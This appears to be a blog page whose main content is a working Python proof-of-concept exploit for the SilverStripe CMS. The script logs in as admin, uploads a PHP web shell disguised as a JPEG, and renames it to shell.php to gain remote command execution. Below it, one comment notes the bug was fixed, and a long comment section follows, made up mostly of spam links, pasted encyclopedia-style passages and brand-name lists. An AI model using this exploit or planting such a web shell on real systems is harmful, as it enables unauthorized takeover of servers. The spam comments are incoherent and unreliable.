PoC
Silverstripe-Shell.py
import sys, socket, re
host = '192.168.1.4'
path = '/silverstripe'
username = 'admin'
password = 'Password1'
port = 80
def send_request(request):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)
s.send(request)
resp = ''
while 1:
r = s.recv(8192)
if not r: break
resp += r
if r[:15] == 'HTTP/1.1 302 OK': break
s.close()
return resp
def upload_shell():
print 'authenticating'
content = 'AuthenticationMethod=MemberAuthenticator&Email=' + username + '&Password='+ password + '&action_dologin=Log+in'
header = 'POST http://' + host + path + '/Security/LoginForm HTTP/1.1\r\n'\
'Host: ' + host + '\r\n'\
'Connection: keep-alive\r\n'\
'User-Agent: x\r\n'\
'Content-Length: ' + str(len(content)) + '\r\n'\
'Cache-Control: max-age=0\r\n'\
'Origin: http://' + host + '\r\n'\
'Content-Type: application/x-www-form-urlencoded\r\n'\
'Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n'\
'Accept-Encoding: gzip,deflate,sdch\r\n'\
'Accept-Language: en-US,en;q=0.8\r\n'\
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\
'\r\n'
resp = send_request(header + content)
print 'uploading shell'
match = re.findall(u'Set-Cookie:\s([^\r\n]+)', resp)
for m in match:
if m[:9] == 'PHPSESSID':
cookie = m
content = '------x\r\n'\
'Content-Disposition: form-data; name="ID"\r\n'\
'\r\n'\
'0\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="FolderID"\r\n'\
'\r\n'\
'0\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="action_doUpload"\r\n'\
'\r\n'\
'1\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="Files[1]"; filename=""\r\n'\
'\r\n'\
'\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="Files[0]"; filename="shell.jpg"\r\n'\
'Content-Type: image/jpeg\r\n'\
'\r\n'\
'<?php echo "<pre>" + system($_GET["CMD"]) + "</pre>"; ?>\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n'\
'\r\n'\
'\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="action_upload"\r\n'\
'\r\n'\
'Upload Files Listed Below\r\n'\
'------x--\r\n'\
header = 'POST http://' + host + path + '/admin/assets/UploadForm HTTP/1.1\r\n'\
'Host: ' + host + '\r\n'\
'Proxy-Connection: keep-alive\r\n'\
'User-Agent: x\r\n'\
'Content-Length: ' + str(len(content)) + '\r\n'\
'Cache-Control: max-age=0\r\n'\
'Origin: http://' + host + '\r\n'\
'Content-Type: multipart/form-data; boundary=----x\r\n'\
'Accept: text/html\r\n'\
'Accept-Encoding: gzip,deflate,sdch\r\n'\
'Accept-Language: en-US,en;q=0.8\r\n'\
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\
'Cookie: ' + cookie + '\r\n'\
'\r\n'
resp = send_request(header + content)
print 'grabbing ids'
file_id = re.search(u'/\*\sIDs:\s(\d+)\s\*/', resp).group(1)
file_name = re.search(u'/\*\sNames:\s([^\*]+)\s\*/', resp).group(1)
resp = send_request('GET http://' + host + path + '/admin/assets/EditForm/field/Files/item/' + file_id + '/edit?ajax=1 HTTP/1.1\r\n'\
'Host: ' + host + '\r\n'\
'Cookie: ' + cookie + '\r\n\r\n')
print 'renaming shell'
security_id = re.search(u'name="SecurityID" value="(\d+)"', resp).group(1)
owner_id = re.search(u'option selected="selected" value="(\d+)"', resp).group(1)
content = 'Title=' + file_name + '&Name=shell.php&FileType=JPEG+image+-+good+for+photos&Size=56+bytes&OwnerID=' + owner_id + '&Dimensions=x&ctf%5BchildID%5D=' + file_id + '&ctf%5BClassName%5D=File&SecurityID=' + security_id + '&action_saveComplexTableField=Save'
header = 'POST http://' + host + path + '/admin/assets/EditForm/field/Files/item/' + file_id + '/DetailForm HTTP/1.1\r\n'\
'Host: ' + host + '\r\n'\
'Proxy-Connection: keep-alive\r\n'\
'User-Agent: x\r\n'\
'Referer: http://' + host + path + '/admin/assets/EditForm/field/Files/item/' + file_id + '/edit?ajax=1\r\n'\
'Content-Length: ' + str(len(content)) + '\r\n'\
'Cache-Control: max-age=0\r\n'\
'Origin: http://' + host + '\r\n'\
'Content-Type: application/x-www-form-urlencoded\r\n'\
'Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n'\
'Accept-Encoding: gzip,deflate,sdch\r\n'\
'Accept-Language: en-US,en;q=0.8\r\n'\
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\
'Cookie: ' + cookie + '; PastMember=1\r\n'\
'\r\n'
resp = send_request(header + content)
print 'shell located at http://' + host + path + '/assets/shell.php'
upload_shell()
Thanks for noting this, the vulnerability has been fixed a while ago in http://open.silverstripe.org/ticket/5693
ReplyDeletewell, good blog!
ReplyDeletepatent leather handbagsLouisville escorts
I wanted to thank you for this great read!! I definitely enjoying every little bit of it I have you bookmarked to check out new stuff you post
ReplyDeleteWIFI network installations Cheap Car Rentals
Hip Hop Bling now carries iced out G Shocks which has never been seen before. These are your good ol� Authentic Casio G Shocks, but super decked out. We make these interchangeable face plates in real diamond or simulated diamonds depending on your budget.
ReplyDeletecustom g shock watches
Pink Lubricant
Distilled Water is made by heating water and collecting the steam, leaving sediment and contaminates behind. Our water distiller uses full size stainless steel heating coils and a stainless steel boiling chamber, and the evaporated steam is collected in a glass carafe that can be used to store your water. This distiller makes 1 gallon of water every 5 hours.
ReplyDeletewater distiller
60x salvia
I agree with you. I like it. Thanks.good night.
ReplyDeleteFortbildung Muenchen
best vacuum cleaner for pet hair
Uhm. You say true. I think so. Wish you good luck.good night.
ReplyDeleteBox Doccia
poncho
Uhm. You say true. I think so. Wish you good luck.good night.
ReplyDeletegalway hotels
natural male enhancement pills
This comment has been removed by the author.
ReplyDeleteA frequently heard, and reasonable, etymology of Sài Gòn is that Sài is a Chinese loanword (Chinese: 柴, pronounced chái in Mandarin) meaning “firewood, lops, twigs; palisade”, while Gòn is another Chinese loanword (Chinese: 棍, pronounced gùn in Mandarin) meaning “stick, pole, bole”, and whose meaning evolved into “cotton” in Vietnamese (bông gòn, literally “cotton stick”, i.e., “cotton plant”, then shortened to gòn). This name may refer to the many kapok plants that the Khmer people had planted around Prey Nokor, and which can still be seen at Cây Mai temple and surrounding areas.[10] It may also refer to the dense and tall forest that once existed around the city, a forest to which the Khmer name, Prey Nokor, already referred.
ReplyDeletepet shops
Cartier Ballon Bleu replica
Hip Hop Bling now carries iced out G Shocks which has never been seen before. These are your good ol� Authentic Casio G Shocks, but super decked out. We make these interchangeable face plates in real diamond or simulated diamonds depending on your budget.
ReplyDeletemotherboard driver download
online business
The green loading bar in Home Edition and the yellow one in Embedded were replaced with the blue bar, seen in Professional and other versions of Windows XP, making the boot-screen of operating systems resemble each other. Colors in other areas, such as Control Panel and the Help and Support tool, remained as before.
ReplyDeleteService Pack 2 also added new security enhancements (codenamed "Springboard"),[48] which included a major revision to the included firewall that was renamed to Windows Firewall and became enabled by default, Data Execution Prevention, which can be weakly emulated,[clarification needed] gains hardware support in the NX bit that can stop some forms of buffer overflow attacks.
samsung galaxy tab review
payday advance loans
Peru was defeated by Chile in the 1879–1883 War of the Pacific, losing the provinces of Arica and Tarapacá in the treaties of Ancón and Lima. Internal struggles after the war were followed by a period of stability under the Civilista Party, which lasted until the onset of the authoritarian regime of Augusto B. Leguía.[24] The Great Depression caused the downfall of Leguía, renewed political turmoil, and the emergence of the American Popular Revolutionary Alliance (APRA).[25] The rivalry between this organization and a coalition of the elite and the military defined Peruvian politics for the following three decades.
ReplyDeleteorganic acai
Sugar Daddy Baby Website
The Nara period (710–784) of the 8th century marked the emergence of a strong Japanese state, centered on an imperial court in Heijō-kyō (modern Nara). The Nara period is characterized by the appearance of a nascent literature as well as the development of Buddhist-inspired art and architecture.[29] The smallpox epidemic of 735–737 is believed to have killed as much as one-third of Japan's population.[30] In 784, Emperor Kammu moved the capital from Nara to Nagaoka-kyō before relocating it to Heian-kyō (modern Kyoto) in 794.
ReplyDeleteByōdō-in (1053) is a temple of Pure Land Buddhism. It was registered to the UNESCO World Heritage Site.
This marked the beginning of the Heian period (794–1185), during which a distinctly indigenous Japanese culture emerged, noted for its art, poetry and prose. Lady Murasaki's The Tale of Genji and the lyrics of Japan's national anthem Kimigayo were written during this time.
japanese matchmaker
Interior Designers Miami
Japan has a total of 6,852 islands extending along the Pacific coast of Asia. The country, including all of the islands it controls, lies between latitudes 24° and 46°N, and longitudes 122° and 146°E. The main islands, from north to south, are Hokkaidō, Honshū, Shikoku and Kyūshū. The Ryūkyū Islands, including Okinawa, are a chain to the south of Kyūshū. Together they are often known as the Japanese Archipelago.[74] About 73 percent of Japan is forested, mountainous, and unsuitable for agricultural, industrial, or residential use.
ReplyDeleteBe a Sugar Daddy Baby
hampers
Subsequently the Germans were dealt major defeats first at the Battle of Stalingrad in the winter of 1942–43,[64] and then in the Battle of Kursk in the summer of 1943. Another German failure was the Siege of Leningrad, in which the city was fully blockaded on land between 1941–44 by German and Finnish forces, suffering starvation and more than a million deaths, but never surrendering.[65] Under Stalin's administration and the leadership of such commanders as Georgy Zhukov and Konstantin Rokossovsky, Soviet forces drove through Eastern Europe in 1944–45 and captured Berlin in May 1945. In August 1945 the Soviet Army ousted Japanese from China's Manchukuo and North Korea, contributing to the allied victory over Japan.
ReplyDeletevegetables for dogs
scavenger hunt clues
It is estimated to be about 9–22 times the mass of the Earth[25] and about 25,000 km across.[26] This is surrounded by a thicker liquid metallic hydrogen layer, followed by a liquid layer of helium-saturated molecular hydrogen that gradually transitions into gas with increasing altitude. The outermost layer spans 1000 km and consists of an entirely gaseous atmosphere.
ReplyDeletePatterns stained glass
LOS ANGELES FUNERAL LIMOUSINE
With its remarkable number of reputable universities and colleges that offer a complete range of great courses and programs, overseas students are secured that they will receive the best education they need for their career enhancement and development.
ReplyDeletefulvic ionic minerals
stone veneer
Sake is produced by the multiple parallel fermentation of rice. The rice is first polished to remove the protein and oils from the exterior of the rice grains, leaving behind starch. Thorough milling leads to fewer congeners and generally a more desirable product.
ReplyDeleteNewly polished rice is allowed to "rest" until it has absorbed enough moisture from the air so that it will not crack when immersed in water. After this resting period, the rice is washed clean of the rice powder produced during milling and then steeped in water. The length of time depends on the degree to which the rice was polished, ranging from several hours or even overnight for an ordinary milling to just minutes for highly polished rice.
After soaking, the rice is steamed on a conveyor belt. The degree of cooking must be carefully controlled; overcooked rice will ferment too quickly for flavors to develop well and undercooked rice will only ferment on the outside. The steamed rice is then cooled and divided into portions for different uses.
rainwater harvestingSales Recruitment
gold coast recording studioCheap VPNRaine than former Tarantino hombres like Bruce Willis or Michael Madsen. Roth is solid as the “Bear Jew.” The Basterds are in truth defined by their comparative absence from the world of cinema in relation to the film's other characters. As Raine tells a doomed German, watching Donny Donowitz split open German heads with his baseball bat “ is the closest we get to goin' to the movies.” Tarantino's sly comment about the possible, cathartic need for filmic violence as a substitute to real-world bloodletting cannot go unnoticed. Beyond this, in a typically Tarantino-esque, twisted manner, the Basterds may
ReplyDeleteI thsboank you to service making grouping more alive of practical issueExcellent whatsis as exemplary.
ReplyDeletesbobet
sbo
really ?? I think like that
ReplyDeleteผลบอล
i love your blog
ReplyDeletesbobet
sbo
red wine brands
ReplyDeletepsicologos boadilla\
The Tuaregs consider the area, which they call Azawad, as the cradle of their nomadic civilization and launched an insurgency in January to achieve a separate homeland. The conflict has uprooted more than 200,000 people from their homes.
Events leading to military coup in Mali Erin Burnett's message for Mali
Buoyed by the chaos after last month's military coup that toppled the government, the rebels swept through the north with relative ease and wrested control of several strategic cities, including Kidal, Gao and Timbuktu.
como ganhar dinheiro extra
ReplyDeleteair conditioning Denver
The town is emptying out," a Timbuktu resident told Amnesty. "People are going to the south or to Mauritania. They are using all means: by car, by motorbike or on the donkeys."
Meanwhile in the capital, Bamako, military leaders who overthrew President Amadou Toumani Toure because of his alleged inability to handle the Tuareg rebellion postponed plans Thursday for a national convention aimed at addressing political woes. The reason remained unclear.
>replicas de relogios famosos
ReplyDeletepsicologos el escorial
It calls for the government to ensure "timely provision of humanitarian assistance" and to intensify "the pace and scale of release of arbitrarily detained persons." It also calls for freedom of movement for journalists and the right to demonstrate.
Syria has noted it would implement the plan and said Thursday it had taken steps to comply. Its ambassador to the United Nations, Bashar Jaafari, acknowledged that the fighting was still going on -- but he blamed that on opposition groups he said were being armed by Saudi Arabia, Turkey and Qatar, which currently holds the General Assembly presidency.
replicas de relogios Mont Blanc
ReplyDeletepsicologos las rozas
What Assad fails to understand is that the wheel cannot be taken backwards. All these oppresed masses in Syria have taken down a wall - "the wall of silence", they are no longer afraid to speak their mind. They are no longer afraid of Assads secret police, and they will remain a feature of Syria in the years to come.
Finally, an issue that I am passionate about. I have looked for information of this caliber for the last several hours. Your site is greatly appreciated. http://wine-bags.net/
ReplyDeletelouboutin shoes
ReplyDeletelouis vuitton outlet
burberry bags
louis vuitton handbags
ray ban sunglasses
tory burch handbags
adidas boost
coach outlet store online clearances
louis vuitton outlet
michael kors handbags
air huarache
celine handbags
louis vuitton handbags
oakley outlet
coach outlet store online clearances
cheap nfl jerseys
discount jordans
cartier watches
tory burch outlet online
adidas running shoes
concords 11
giuseppe zanotti
celine outlet
michael kors outlet online
jordan retro 4
mont blanc pens
louis vuitton handbags
lebron shoes for kids
louis vuitton purses
adidas running shoes
cheningying2016714
x7e83j9w65 v2n26u8j43 m3y82l9g68 g0i33q7h94 w2f82e1s51 f9c40f8k86
ReplyDelete